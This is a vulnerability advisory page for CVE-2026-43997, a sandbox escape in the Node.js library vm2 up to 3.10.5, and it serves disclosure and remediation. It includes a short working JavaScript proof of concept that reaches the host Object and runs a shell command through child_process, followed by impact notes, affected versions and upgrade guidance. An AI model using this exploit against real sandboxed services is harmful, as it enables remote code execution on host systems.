CVE-2026-43997: vm2: Sandbox Escape

Published May 7, 2026
·
Updated

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

js const g = {}.lookupGetter; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['proto']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('childprocess').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, };

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2<=3.10.5
3.11.0
Vm2 Project Vm2 Node.js<3.11.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.0
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.0

Event History

May 7, 2026
Advisory Published
via GitHub·04:00 AM
Data Sourced
via GitHub·04:00 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:17 PM
Data Sourced
via MITRE·05:17 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-43997?

CVE-2026-43997 is considered a high severity vulnerability due to its potential to allow host object access and escape from the sandbox.

2

How do I fix CVE-2026-43997?

To fix CVE-2026-43997, upgrade to the vm2 version 3.11.0 or later.

3

Which versions of vm2 are affected by CVE-2026-43997?

CVE-2026-43997 affects all versions of vm2 up to and including 3.10.5.

4

What type of vulnerability is CVE-2026-43997?

CVE-2026-43997 is a sandbox escape vulnerability that can allow an attacker to access the host Object.

5

Is there a workaround for CVE-2026-43997 if an upgrade is not possible?

There is no known workaround for CVE-2026-43997; updating to the fixed version is strongly recommended.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203